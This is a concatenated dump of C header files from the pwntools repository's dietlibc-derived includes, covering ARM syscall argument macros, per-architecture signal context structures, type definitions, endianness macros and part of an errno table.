__ARGS_io_setup 0 #define __ARGS_io_destroy 0 #define __ARGS_io_getevents 0 #define __ARGS_io_submit 0 #define __ARGS_io_cancel 0 #define __ARGS_exit_group 0 #define __ARGS_lookup_dcookie 0 #define __ARGS_epoll_create 0 #define __ARGS_epoll_ctl 0 #define __ARGS_epoll_wait 0 #define __ARGS_remap_file_pages 0 #define __ARGS_set_thread_area 0 #define __ARGS_get_thread_area 0 #define __ARGS_set_tid_address 0 #define __ARGS_timer_create 0 #define __ARGS_timer_settime 0 #define __ARGS_timer_gettime 0 #define __ARGS_timer_getoverrun 0 #define __ARGS_timer_delete 0 #define __ARGS_clock_settime 0 #define __ARGS_clock_gettime 0 #define __ARGS_clock_getres 0 #define __ARGS_clock_nanosleep 0 #define __ARGS_statfs64 0 #define __ARGS_fstatfs64 0 #define __ARGS_tgkill 0 #define __ARGS_utimes 0 #define __ARGS_arm_fadvise64_64 1 #define __ARGS_fadvise64 0 #define __ARGS_fadvise64_64 0 #define __ARGS_pciconfig_iobase 0 #define __ARGS_pciconfig_read 1 #define __ARGS_pciconfig_write 1 #define __ARGS_mq_open 0 #define __ARGS_mq_unlink 0 #define __ARGS_mq_timedsend 0 #define __ARGS_mq_timedreceive 1 #define __ARGS_mq_notify 0 #define __ARGS_mq_getsetattr 0 #define __ARGS_waitid 0 #define __ARGS_socket 0 #define __ARGS_bind 0 #define __ARGS_connect 0 #define __ARGS_listen 0 #define __ARGS_accept 0 #define __ARGS_getsockname 0 #define __ARGS_getpeername 0 #define __ARGS_socketpair 0 #define __ARGS_send 0 #define __ARGS_sendto 1 #define __ARGS_recv 0 #define __ARGS_recvfrom 1 #define __ARGS_shutdown 0 #define __ARGS_setsockopt 0 #define __ARGS_getsockopt 0 #define __ARGS_sendmsg 0 #define __ARGS_recvmsg 0 #define __ARGS_semop 0 #define __ARGS_semget 0 #define __ARGS_semctl 0 #define __ARGS_msgsnd 0 #define __ARGS_msgrcv 0 #define __ARGS_msgget 0 #define __ARGS_msgctl 0 #define __ARGS_shmat 0 #define __ARGS_shmdt 0 #define __ARGS_shmget 0 #define __ARGS_shmctl 0 #define __ARGS_add_key 1 #define __ARGS_request_key 1 #define __ARGS_keyctl 0 #define __ARGS_vserver 0 #define __ARGS_ioprio_set 0 #define __ARGS_ioprio_get 0 #define __ARGS_inotify_init 0 #define __ARGS_inotify_add_watch 0 #define __ARGS_inotify_rm_watch 0 #define __ARGS_mbind 1 #define __ARGS_get_mempolicy 1 #define __ARGS_set_mempolicy 1 #define __ARGS_openat 0 #define __ARGS_mkdirat 0 #define __ARGS_mknodat 0 #define __ARGS_fchownat 1 #define __ARGS_futimesat 0 #define __ARGS_fstatat64 0 #define __ARGS_unlinkat 0 #define __ARGS_renameat 0 #define __ARGS_linkat 1 #define __ARGS_symlinkat 0 #define __ARGS_readlinkat 0 #define __ARGS_fchmodat 0 #define __ARGS_faccessat 0 /* 335 for pselect6 */ /* 336 for ppoll */ #define __ARGS_unshare 0 #define __ARGS_set_robust_list 0 #define __ARGS_get_robust_list 0 #define __ARGS_splice 1 #define __ARGS_arm_sync_file_range 0 #define __ARGS_sync_file_range2 0 #define __ARGS_tee 0 #define __ARGS_vmsplice 0 #define __ARGS_move_pages 1 #define __ARGS_getcpu 0 /* 346 for epoll_pwait */ #define __ARGS_kexec_load 0 #define __ARGS_utimensat 0 #define __ARGS_signalfd 0 #define __ARGS_timerfd 0 #define __ARGS_eventfd 0 #define __ARGS_fallocate 0 #define __ARGS_timerfd_settime 0 #define __ARGS_timerfd_gettime 0 #define __ARGS_signalfd4 0 #define __ARGS_eventfd2 0 #define __ARGS_epoll_create1 0 #define __ARGS_dup3 0 #define __ARGS_pipe2 0 #define __ARGS_inotify_init1 0 #define __ARGS_preadv 0 #define __ARGS_pwritev 0 #define __ARGS_rt_tgsigqueueinfo 0 #define __ARGS_perf_event_open 1 #define __ARGS_recvmmsg 1 #define __ARGS_accept4 0 #define __ARGS_fanotify_init 0 #define __ARGS_fanotify_mark 1 #define __ARGS_prlimit64 0 #define __ARGS_name_to_handle_at 1 #define __ARGS_open_by_handle_at 0 #define __ARGS_clock_adjtime 0 #define __ARGS_syncfs 0 #define __ARGS_sendmmsg 0 #define __ARGS_setns 0 #define __ARGS_process_vm_readv 1 #define __ARGS_process_vm_writev 1 #define __ARGS_kcmp 1 #define __ARGS_finit_module 0 #ifdef __ASSEMBLER__ #include "arm-features.h" #define syscall_weak(name,wsym,sym) __syscall_weak __NR_##name, wsym, sym, __ARGS_##name .macro __syscall_weak name wsym sym typ FUNC_START_WEAK \wsym __syscall \name, \sym, \typ FUNC_END \wsym .endm #ifdef __ARM_EABI__ #define syscall(name,sym) __syscall __NR_##name, sym, __ARGS_##name .macro __syscall name sym typ FUNC_START \sym ldr ip, =\name b __unified_syscall_swi FUNC_END \sym .endm #else #define syscall(name,sym) __syscall $__NR_##name, sym, __ARGS_##name .macro __syscall name sym typ FUNC_START \sym .ifgt \typ mov ip, sp stmfd sp!,{r4, r5, r6} ldmia ip, {r4, r5, r6} .endif swi \name .ifgt \typ b __unified_syscall4 .else b __unified_syscall .endif FUNC_END \sym .endm #endif #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/000077500000000000000000000000001507273764500270465ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/aarch64-sigcontext.h000066400000000000000000000004401507273764500326320ustar00rootroot00000000000000struct sigcontext { unsigned long fault_address; /* AArch64 registers */ unsigned long regs[31]; unsigned long sp; unsigned long pc; unsigned long pstate; /* 4K reserved for FP/SIMD state and future expansion */ unsigned char __reserved[4096] __attribute__((__aligned__(16))); }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/alpha-sigcontext.h000066400000000000000000000013701507273764500324720ustar00rootroot00000000000000struct sigcontext { /* * What should we have here? I'd probably better use the same * stack layout as OSF/1, just in case we ever want to try * running their binaries.. * * This is the basic layout, but I don't know if we'll ever * actually fill in all the values.. */ long sc_onstack; long sc_mask; long sc_pc; long sc_ps; long sc_regs[32]; long sc_ownedfp; long sc_fpregs[32]; unsigned long sc_fpcr; unsigned long sc_fp_control; unsigned long sc_reserved1, sc_reserved2; unsigned long sc_ssize; char * sc_sbase; unsigned long sc_traparg_a0; unsigned long sc_traparg_a1; unsigned long sc_traparg_a2; unsigned long sc_fp_trap_pc; unsigned long sc_fp_trigger_sum; unsigned long sc_fp_trigger_inst; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/arm-sigcontext.h000066400000000000000000000013341507273764500321640ustar00rootroot00000000000000 #define PC(ctx) (ctx.arm_pc) /* * Signal context structure - contains all info to do with the state * before the signal handler was invoked. Note: only add new entries * to the end of the structure. */ struct sigcontext { unsigned long trap_no; unsigned long error_code; unsigned long oldmask; unsigned long arm_r0; unsigned long arm_r1; unsigned long arm_r2; unsigned long arm_r3; unsigned long arm_r4; unsigned long arm_r5; unsigned long arm_r6; unsigned long arm_r7; unsigned long arm_r8; unsigned long arm_r9; unsigned long arm_r10; unsigned long arm_fp; unsigned long arm_ip; unsigned long arm_sp; unsigned long arm_lr; unsigned long arm_pc; unsigned long arm_cpsr; unsigned long fault_address; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/i386-sigcontext.h000066400000000000000000000025771507273764500321100ustar00rootroot00000000000000#include struct _fpreg { __u16 significand[4]; __u16 exponent; }; struct _fpxreg { __u16 significand[4]; __u16 exponent; __u16 padding[3]; }; struct _xmmreg { unsigned long element[4]; }; struct _fpstate { /* Regular FPU environment */ unsigned long cw; unsigned long sw; unsigned long tag; unsigned long ipoff; unsigned long cssel; unsigned long dataoff; unsigned long datasel; struct _fpreg _st[8]; __u16 status; __u16 magic; /* 0xffff = regular FPU data only */ /* FXSR FPU environment */ unsigned long _fxsr_env[6]; /* FXSR FPU env is ignored */ unsigned long mxcsr; unsigned long reserved; struct _fpxreg _fxsr_st[8]; /* FXSR FPU reg data is ignored */ struct _xmmreg _xmm[8]; unsigned long padding[56]; }; #define X86_FXSR_MAGIC 0x0000 #define PC(ctx) (ctx.eip) struct sigcontext { __u16 gs, __gsh; __u16 fs, __fsh; __u16 es, __esh; __u16 ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; __u16 cs, __csh; unsigned long eflags; unsigned long esp_at_signal; __u16 ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/ia64-sigcontext.h000066400000000000000000000011101507273764500321400ustar00rootroot00000000000000#include #define PC(ctx) (ctx.sc_ip) #include struct sigcontext { unsigned long sc_flags; unsigned long sc_nat; stack_t sc_stack; unsigned long sc_ip; unsigned long sc_cfm; unsigned long sc_um; unsigned long sc_ar_rsc; unsigned long sc_ar_bsp; unsigned long sc_ar_rnat; unsigned long sc_ar_ccv; unsigned long sc_ar_unat; unsigned long sc_ar_fpsr; unsigned long sc_ar_pfs; unsigned long sc_ar_lc; unsigned long sc_pr; unsigned long sc_br[8]; unsigned long sc_gr[32]; struct ia64_fpreg sc_fr[128]; sigset_t sc_mask; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/mips-sigcontext.h000066400000000000000000000022551507273764500323600ustar00rootroot00000000000000 /* * Keep this struct definition in sync with the sigcontext fragment * in arch/mips/tools/offset.c */ #ifndef __mips64__ struct sigcontext { unsigned int sc_regmask; /* Unused */ unsigned int sc_status; unsigned long long sc_pc; unsigned long long sc_regs[32]; unsigned long long sc_fpregs[32]; /* Unused */ unsigned int sc_ownedfp; unsigned int sc_fpc_csr; /* Unused */ unsigned int sc_fpc_eir; /* Unused */ unsigned int sc_ssflags; /* Unused */ unsigned long long sc_mdhi; unsigned long long sc_mdlo; unsigned int sc_cause; /* Unused */ unsigned int sc_badvaddr; /* Unused */ unsigned long sc_sigset[4]; /* kernel's sigset_t */ }; #else struct sigcontext { unsigned long long sc_regs[32]; unsigned long long sc_fpregs[32]; unsigned long long sc_mdhi; unsigned long long sc_hi1; unsigned long long sc_hi2; unsigned long long sc_hi3; unsigned long long sc_mdlo; unsigned long long sc_lo1; unsigned long long sc_lo2; unsigned long long sc_lo3; unsigned long long sc_pc; unsigned int sc_fpc_csr; unsigned int sc_used_math; unsigned int sc_dsp; unsigned int sc_reserved; }; #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/parisc-sigcontext.h000066400000000000000000000006461507273764500326730ustar00rootroot00000000000000 #define PARISC_SC_FLAG_ONSTACK 1<<0 #define PARISC_SC_FLAG_IN_SYSCALL 1<<1 /* We will add more stuff here as it becomes necessary, until we know it works. */ struct sigcontext { unsigned long sc_flags; unsigned long sc_gr[32]; /* PSW in sc_gr[0] */ unsigned long long sc_fr[32]; /* FIXME, do we need other state info? */ unsigned long sc_iasq[2]; unsigned long sc_iaoq[2]; unsigned long sc_sar; /* cr11 */ }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/ppc-sigcontext.h000066400000000000000000000032521507273764500321700ustar00rootroot00000000000000#include #ifndef ASM_PPC_SIGCONTEXT_H struct pt_regs { unsigned long gpr[32]; unsigned long nip; unsigned long msr; unsigned long orig_gpr3; /* Used for restarting system calls */ unsigned long ctr; unsigned long link; unsigned long xer; unsigned long ccr; unsigned long mq; /* 601 only (not used at present) */ /* Used on APUS to hold IPL value. */ unsigned long trap; /* Reason for being here */ unsigned long dar; /* Fault registers */ unsigned long dsisr; unsigned long result; /* Result of a system call */ }; /* * Offsets used by 'ptrace' system call interface. * These can't be changed without breaking binary compatibility * with MkLinux, etc. */ #define PT_R0 0 #define PT_R1 1 #define PT_R2 2 #define PT_R3 3 #define PT_R4 4 #define PT_R5 5 #define PT_R6 6 #define PT_R7 7 #define PT_R8 8 #define PT_R9 9 #define PT_R10 10 #define PT_R11 11 #define PT_R12 12 #define PT_R13 13 #define PT_R14 14 #define PT_R15 15 #define PT_R16 16 #define PT_R17 17 #define PT_R18 18 #define PT_R19 19 #define PT_R20 20 #define PT_R21 21 #define PT_R22 22 #define PT_R23 23 #define PT_R24 24 #define PT_R25 25 #define PT_R26 26 #define PT_R27 27 #define PT_R28 28 #define PT_R29 29 #define PT_R30 30 #define PT_R31 31 #define PT_NIP 32 #define PT_MSR 33 #define PT_CTR 35 #define PT_LNK 36 #define PT_XER 37 #define PT_CCR 38 #define PT_MQ 39 #define PT_FPR0 48 /* each FP reg occupies 2 slots in this space */ #define PT_FPR31 (PT_FPR0 + 2*31) #define PT_FPSCR (PT_FPR0 + 2*32 + 1) #define sigcontext_struct sigcontext struct sigcontext { unsigned long _unused[4]; __s32 signal; unsigned long handler; unsigned long oldmask; struct pt_regs *regs; }; #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/s390-sigcontext.h000066400000000000000000000016261507273764500321070ustar00rootroot00000000000000#define __NUM_GPRS 16 #define __NUM_FPRS 16 #define __NUM_ACRS 16 /* Has to be at least _NSIG_WORDS from asm/signal.h */ #define _SIGCONTEXT_NSIG 64 #define _SIGCONTEXT_NSIG_BPW 64 /* Size of stack frame allocated when calling signal handler. */ #define __SIGNAL_FRAMESIZE 160 #define _SIGCONTEXT_NSIG_WORDS (_SIGCONTEXT_NSIG / _SIGCONTEXT_NSIG_BPW) #define _SIGMASK_COPY_SIZE (sizeof(unsigned long)*_SIGCONTEXT_NSIG_WORDS) typedef struct { unsigned long mask; unsigned long addr; } __attribute__ ((aligned(8))) _psw_t; typedef struct { _psw_t psw; unsigned long gprs[__NUM_GPRS]; unsigned int acrs[__NUM_ACRS]; } _s390_regs_common; typedef struct { unsigned int fpc; double fprs[__NUM_FPRS]; } _s390_fp_regs; typedef struct { _s390_regs_common regs; _s390_fp_regs fpregs; } _sigregs; struct sigcontext { unsigned long oldmask[_SIGCONTEXT_NSIG_WORDS]; _sigregs *sregs; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/sigcontext.h000066400000000000000000000014371507273764500314130ustar00rootroot00000000000000#ifndef _ASM_SIGCONTEXT_H #define _ASM_SIGCONTEXT_H #include __BEGIN_DECLS #if defined(__i386__) #include #endif #if defined(__x86_64__) #include #endif #ifdef __sparc__ #include #endif #ifdef __mips__ #include #endif #if defined(__powerpc__) || defined(__powerpc64__) #include #endif #ifdef __alpha__ #include #endif #ifdef __arm__ #include #endif #ifdef __aarch64__ #include #endif #ifdef __hppa__ #include #endif #ifdef __ia64__ #include #endif #ifdef __s390__ #include #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/sparc-sigcontext.h000066400000000000000000000023621507273764500325170ustar00rootroot00000000000000 #define __SUNOS_MAXWIN 31 /* This is what SunOS does, so shall I. */ struct sigcontext { int sigc_onstack; /* state to restore */ int sigc_mask; /* sigmask to restore */ int sigc_sp; /* stack pointer */ int sigc_pc; /* program counter */ int sigc_npc; /* next program counter */ int sigc_psr; /* for condition codes etc */ int sigc_g1; /* User uses these two registers */ int sigc_o0; /* within the trampoline code. */ /* Now comes information regarding the users window set * at the time of the signal. */ int sigc_oswins; /* outstanding windows */ /* stack ptrs for each regwin buf */ char *sigc_spbuf[__SUNOS_MAXWIN]; /* Windows to restore after signal */ struct { unsigned long locals[8]; unsigned long ins[8]; } sigc_wbuf[__SUNOS_MAXWIN]; }; typedef struct { struct { unsigned long psr; unsigned long pc; unsigned long npc; unsigned long y; unsigned long u_regs[16]; /* globals and ins */ } si_regs; int si_mask; } __siginfo_t; typedef struct { unsigned long si_float_regs [32]; unsigned long si_fsr; unsigned long si_fpqdepth; struct { unsigned long *insn_addr; unsigned long insn; } si_fpqueue [16]; } __siginfo_fpu_t; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/types.h000066400000000000000000000016331507273764500303660ustar00rootroot00000000000000#ifndef _ASM_TYPES_H #define _ASM_TYPES_H #include #include __BEGIN_DECLS #ifdef __alpha__ typedef uint32_t umode_t; #else typedef uint16_t umode_t; #endif typedef uint8_t __u8; typedef uint16_t __u16; typedef uint32_t __u32; #if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L typedef uint64_t __u64; #endif typedef int8_t __s8; typedef int16_t __s16; typedef int32_t __s32; #if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L typedef int64_t __s64; #endif #if defined(__s390__) || (__WORDSIZE==64) typedef unsigned long __kernel_size_t; #else typedef uint32_t __kernel_size_t; #endif #define __force typedef uint16_t __le16; typedef uint16_t __be16; typedef uint32_t __le32; typedef uint32_t __be32; typedef uint64_t __le64; typedef uint64_t __be64; typedef uint16_t __sum16; typedef uint32_t __wsum; typedef uint16_t __kernel_sa_family_t; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/asm/x86_64-sigcontext.h000066400000000000000000000025301507273764500323420ustar00rootroot00000000000000#include /* FXSAVE frame */ /* Note: reserved1/2 may someday contain valuable data. Always save/restore them when you change signal frames. */ struct _fpstate { __u16 cwd; __u16 swd; __u16 twd; /* Note this is not the same as the 32bit/x87/FSAVE twd */ __u16 fop; __u64 rip; __u64 rdp; __u32 mxcsr; __u32 mxcsr_mask; __u32 st_space[32]; /* 8*16 bytes for each FP-reg */ __u32 xmm_space[64]; /* 16*16 bytes for each XMM-reg */ __u32 reserved2[24]; }; struct sigcontext { // ofs ofs-x32 unsigned long r8; // 0 0 unsigned long r9; // 8 4 unsigned long r10; // 16 8 unsigned long r11; // 24 12 unsigned long r12; // 32 16 unsigned long r13; // 40 20 unsigned long r14; // 48 24 unsigned long r15; // 56 28 unsigned long rdi; // 64 32 unsigned long rsi; // 72 36 unsigned long rbp; // 80 40 unsigned long rbx; // 88 44 unsigned long rdx; // 96 48 unsigned long rax; // 104 52 unsigned long rcx; // 112 56 unsigned long rsp; // 120 60 unsigned long rip; // 128 64 unsigned long eflags; // 136 68 __u16 cs; // 144 72 __u16 gs; // 146 74 __u16 fs; // 148 76 __u16 __pad0; unsigned long err; // 152 80 unsigned long trapno; // 160 84 unsigned long oldmask; // 168 88 unsigned long cr2; // 176 92 struct _fpstate *fpstate; /* zero when no FPU context */ unsigned long reserved1[8]; }; Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/endian.h000066400000000000000000000033561507273764500277040ustar00rootroot00000000000000#ifndef _ENDIAN_H #define _ENDIAN_H #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #ifdef __mips__ #if _MIPS_SIM == _ABI64 #define __mips64__ #else #undef __mips64__ #endif #endif #if defined(__i386__) || defined(__x86_64__) || defined(__ia64__) || defined(__alpha__) || defined(__aarch64__) #define __BYTE_ORDER __LITTLE_ENDIAN #define __FLOAT_WORD_ORDER __BYTE_ORDER #endif #if (defined(__mips__) && !defined(__MIPSEB)) || (defined(__arm__) && !defined(__ARMEB__)) || ((defined(__powerpc__) || defined(__sparc__)) && defined(__LITTLE_ENDIAN__)) #define __BYTE_ORDER __LITTLE_ENDIAN #define __FLOAT_WORD_ORDER __BYTE_ORDER #endif /* rest is big endian */ #ifndef __BYTE_ORDER #define __BYTE_ORDER __BIG_ENDIAN #define __FLOAT_WORD_ORDER __BYTE_ORDER #endif #define LITTLE_ENDIAN __LITTLE_ENDIAN #define BIG_ENDIAN __BIG_ENDIAN #define BYTE_ORDER __BYTE_ORDER #if __BYTE_ORDER == __LITTLE_ENDIAN # define __LONG_LONG_PAIR(HI, LO) LO, HI #elif __BYTE_ORDER == __BIG_ENDIAN # define __LONG_LONG_PAIR(HI, LO) HI, LO #endif #if defined(__alpha__) || defined(__mips64__) || defined(__sparcv9) || defined(__ia64__) || defined(__powerpc64__) || defined(__s390x__) || defined(__aarch64__) #define __WORDSIZE 64 #endif #if defined(__x86_64__) #if defined(__ILP32__) #define __OFF_T_MATCHES_OFF64_T #else #define __WORDSIZE 64 #endif #endif #if defined(__x86_64__) || defined(__powerpc64__) || defined(__sparcv9) || defined(__aarch64__) #define __WORDSIZE_COMPAT32 1 #endif #if defined(__sparc__) && (__arch64__) #define __WORDSIZE 64 #define __WORDSIZE_COMPAT32 1 #endif #ifdef __WORDSIZE #define __OFF_T_MATCHES_OFF64_T #else #define __WORDSIZE 32 #endif #if defined(__x86_64__) || defined(__i386__) #define __UNALIGNED_MEMORY_ACCESS_OK 1 #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/errno.h000066400000000000000000001044061507273764500275710ustar00rootroot00000000000000#ifndef _ERRNO_H #define _ERRNO_H #if defined(__alpha__) #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Arg list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EDEADLK 11 /* Resource deadlock would occur */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #define EAGAIN 35 /* Try again */ #define EWOULDBLOCK EAGAIN /* Operation would block */ #define EINPROGRESS 36 /* Operation now in progress */ #define EALREADY 37 /* Operation already in progress */ #define ENOTSOCK 38 /* Socket operation on non-socket */ #define EDESTADDRREQ 39 /* Destination address required */ #define EMSGSIZE 40 /* Message too long */ #define EPROTOTYPE 41 /* Protocol wrong type for socket */ #define ENOPROTOOPT 42 /* Protocol not available */ #define EPROTONOSUPPORT 43 /* Protocol not supported */ #define ESOCKTNOSUPPORT 44 /* Socket type not supported */ #define EOPNOTSUPP 45 /* Operation not supported on transport endpoint */ #define ENOTSUP EOPNOTSUPP/* Operation not supported on transport endpoint */ #define EPFNOSUPPORT 46 /* Protocol family not supported */ #define EAFNOSUPPORT 47 /* Address family not supported by protocol */ #define EADDRINUSE 48 /* Address already in use */ #define EADDRNOTAVAIL 49 /* Cannot assign requested address */ #define ENETDOWN 50 /* Network is down */ #define ENETUNREACH 51 /* Network is unreachable */ #define ENETRESET 52 /* Network dropped connection because of reset */ #define ECONNABORTED 53 /* Software caused connection abort */ #define ECONNRESET 54 /* Connection reset by peer */ #define ENOBUFS 55 /* No buffer space available */ #define EISCONN 56 /* Transport endpoint is already connected */ #define ENOTCONN 57 /* Transport endpoint is not connected */ #define ESHUTDOWN 58 /* Cannot send after transport endpoint shutdown */ #define ETOOMANYREFS 59 /* Too many references: cannot splice */ #define ETIMEDOUT 60 /* Connection timed out */ #define ECONNREFUSED 61 /* Connection refused */ #define ELOOP 62 /* Too many symbolic links encountered */ #define ENAMETOOLONG 63 /* File name too long */ #define EHOSTDOWN 64 /* Host is down */ #define EHOSTUNREACH 65 /* No route to host */ #define ENOTEMPTY 66 /* Directory not empty */ #define EUSERS 68 /* Too many users */ #define EDQUOT 69 /* Quota exceeded */ #define ESTALE 70 /* Stale NFS file handle */ #define EREMOTE 71 /* Object is remote */ #define ENOLCK 77 /* No record locks available */ #define ENOSYS 78 /* Function not implemented */ #define ENOMSG 80 /* No message of desired type */ #define EIDRM 81 /* Identifier removed */ #define ENOSR 82 /* Out of streams resources */ #define ETIME 83 /* Timer expired */ #define EBADMSG 84 /* Not a data message */ #define EPROTO 85 /* Protocol error */ #define ENODATA 86 /* No data available */ #define ENOSTR 87 /* Device not a stream */ #define ENOPKG 92 /* Package not installed */ #define EILSEQ 116 /* Illegal byte sequence */ /* The following are just random noise.. */ #define ECHRNG 88 /* Channel number out of range */ #define EL2NSYNC 89 /* Level 2 not synchronized */ #define EL3HLT 90 /* Level 3 halted */ #define EL3RST 91 /* Level 3 reset */ #define ELNRNG 93 /* Link number out of range */ #define EUNATCH 94 /* Protocol driver not attached */ #define ENOCSI 95 /* No CSI structure available */ #define EL2HLT 96 /* Level 2 halted */ #define EBADE 97 /* Invalid exchange */ #define EBADR 98 /* Invalid request descriptor */ #define EXFULL 99 /* Exchange full */ #define ENOANO 100 /* No anode */ #define EBADRQC 101 /* Invalid request code */ #define EBADSLT 102 /* Invalid slot */ #define EDEADLOCK EDEADLK #define EBFONT 104 /* Bad font file format */ #define ENONET 105 /* Machine is not on the network */ #define ENOLINK 106 /* Link has been severed */ #define EADV 107 /* Advertise error */ #define ESRMNT 108 /* Srmount error */ #define ECOMM 109 /* Communication error on send */ #define EMULTIHOP 110 /* Multihop attempted */ #define EDOTDOT 111 /* RFS specific error */ #define EOVERFLOW 112 /* Value too large for defined data type */ #define ENOTUNIQ 113 /* Name not unique on network */ #define EBADFD 114 /* File descriptor in bad state */ #define EREMCHG 115 /* Remote address changed */ #define EUCLEAN 117 /* Structure needs cleaning */ #define ENOTNAM 118 /* Not a XENIX named type file */ #define ENAVAIL 119 /* No XENIX semaphores available */ #define EISNAM 120 /* Is a named type file */ #define EREMOTEIO 121 /* Remote I/O error */ #define ELIBACC 122 /* Can not access a needed shared library */ #define ELIBBAD 123 /* Accessing a corrupted shared library */ #define ELIBSCN 124 /* .lib section in a.out corrupted */ #define ELIBMAX 125 /* Attempting to link in too many shared libraries */ #define ELIBEXEC 126 /* Cannot exec a shared library directly */ #define ERESTART 127 /* Interrupted system call should be restarted */ #define ESTRPIPE 128 /* Streams pipe error */ #define ENOMEDIUM 129 /* No medium found */ #define EMEDIUMTYPE 130 /* Wrong medium type */ #define ECANCELED 131 /* Operation Cancelled */ #define ENOKEY 132 /* Required key not available */ #define EKEYEXPIRED 133 /* Key has expired */ #define EKEYREVOKED 134 /* Key has been revoked */ #define EKEYREJECTED 135 /* Key was rejected by service */ /* for robust mutexes */ #define EOWNERDEAD 136 /* Owner died */ #define ENOTRECOVERABLE 137 /* State not recoverable */ #define ERFKILL 138 /* Operation not possible due to RF-kill */ #define EHWPOISON 139 /* Memory page has hardware error */ #define __SYS_NERR ((EHWPOISON) + 1) #elif defined(__mips__) #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Arg list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EAGAIN 11 /* Try again */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #define ENOMSG 35 /* No message of desired type */ #define EIDRM 36 /* Identifier removed */ #define ECHRNG 37 /* Channel number out of range */ #define EL2NSYNC 38 /* Level 2 not synchronized */ #define EL3HLT 39 /* Level 3 halted */ #define EL3RST 40 /* Level 3 reset */ #define ELNRNG 41 /* Link number out of range */ #define EUNATCH 42 /* Protocol driver not attached */ #define ENOCSI 43 /* No CSI structure available */ #define EL2HLT 44 /* Level 2 halted */ #define EDEADLK 45 /* Resource deadlock would occur */ #define ENOLCK 46 /* No record locks available */ #define EBADE 50 /* Invalid exchange */ #define EBADR 51 /* Invalid request descriptor */ #define EXFULL 52 /* Exchange full */ #define ENOANO 53 /* No anode */ #define EBADRQC 54 /* Invalid request code */ #define EBADSLT 55 /* Invalid slot */ #define EDEADLOCK 56 /* File locking deadlock error */ #define EBFONT 59 /* Bad font file format */ #define ENOSTR 60 /* Device not a stream */ #define ENODATA 61 /* No data available */ #define ETIME 62 /* Timer expired */ #define ENOSR 63 /* Out of streams resources */ #define ENONET 64 /* Machine is not on the network */ #define ENOPKG 65 /* Package not installed */ #define EREMOTE 66 /* Object is remote */ #define ENOLINK 67 /* Link has been severed */ #define EADV 68 /* Advertise error */ #define ESRMNT 69 /* Srmount error */ #define ECOMM 70 /* Communication error on send */ #define EPROTO 71 /* Protocol error */ #define EDOTDOT 73 /* RFS specific error */ #define EMULTIHOP 74 /* Multihop attempted */ 